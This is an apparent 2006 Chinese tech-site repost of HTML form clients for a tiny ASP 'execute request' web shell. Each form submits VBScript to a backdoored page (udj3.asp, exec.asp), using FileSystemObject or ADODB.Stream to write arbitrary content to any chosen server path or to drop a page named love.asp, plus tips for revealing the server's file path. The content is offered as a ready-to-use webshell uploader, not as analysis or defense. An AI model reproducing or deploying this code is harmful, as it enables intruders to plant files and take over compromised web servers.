精典的ASP 传奇的J2EE 新生的NET FTP服务器服务器安全 WINDOWS B/S 模式 WEB安全 WAP世界动态网站推广宣传
空间服务器数据库技术邮局服务器站長工具硬设与组建 Alexa专题 DHTML 项目管理 WEB标准电脑硬件
病毒知识电脑使用布线协议接入交换路由局域网无线网络网络规划
Visual Basic Visual C/C++ Mssql MySql oracle Sybase 存在安全风险进程系统进程列表应用程序进程列表其它进程列表
黑客编程漏洞分析本地提权免杀技术脚本漏洞数据库注入安全防护内网渗透加密解密工具使用
WAP技术 WAP入门

您的位置： >> 相关知识 >> 开发技术 >> 精典的ASP >>

execute request超短ASP木马的客户端

合金网络科技

添加日期:2006-9-11 点击次数:484次

看到上级版面里全是PHP的,不知道发这里对不对,暂时发这里好了

原文转载如下:

FSO的是我写的
ADODB_STREAM的是我改写的

<form action=http://localhost/udj3.asp method=post>
<textarea name=# cols=120 rows=18 width=45>dim objFSO
dim fdata
dim objCountFile
Set objFSO = Server.CreateObject('Scripting.FileSystemObject')
fdata = request('textcontent')
Set objCountFile=objFSO.CreateTextFile(request('textpath'),True)
objCountFile.Write fdata
objCountFile.Close
Set objCountFile=Nothing
Set objFSO = Nothing

'the server page may be execute request('#') or something similar
'coded by [email]kofj2005@gmail.com[/email]
'you can get the complete file path by two lines of code under here
'filepath=server.mappath(Request.ServerVariables('SCRIPT_NAME'))
'response.write filepath
</textarea>
<textarea name=textcontent cols=120 rows=10 width=45>text file content</textarea><BR>
<textarea name=textpath cols=120 rows=1 width=45>text file path</textarea><BR>
<input type=submit value='submit'>

if the server supports adodb_stream

<form action=http://localhost/exec.asp method=post>
<textarea name=# cols=120 rows=10 width=45>
set lP=server.createObject('Adodb.Stream')
lP.Open
lP.Type=2
lP.CharSet='gb2312'
'you can change CharSet if necessary
lP.writetext request('textcontent')
lP.SaveToFile server.mappath('love.asp'),2
lP.Close
set lP=nothing
response.redirect 'love.asp'

'the server page may be execute request('#') or something similar
'recoded by [email]kofj2005@gmail.com[/email]
'you can get the complete file path by two lines of code under here
'filepath=server.mappath(Request.ServerVariables('SCRIPT_NAME'))
'response.write filepath
</textarea>
<textarea name=textcontent cols=120 rows=10 width=45>text content</textarea><BR><center><br>
<input type=submit value='submit'>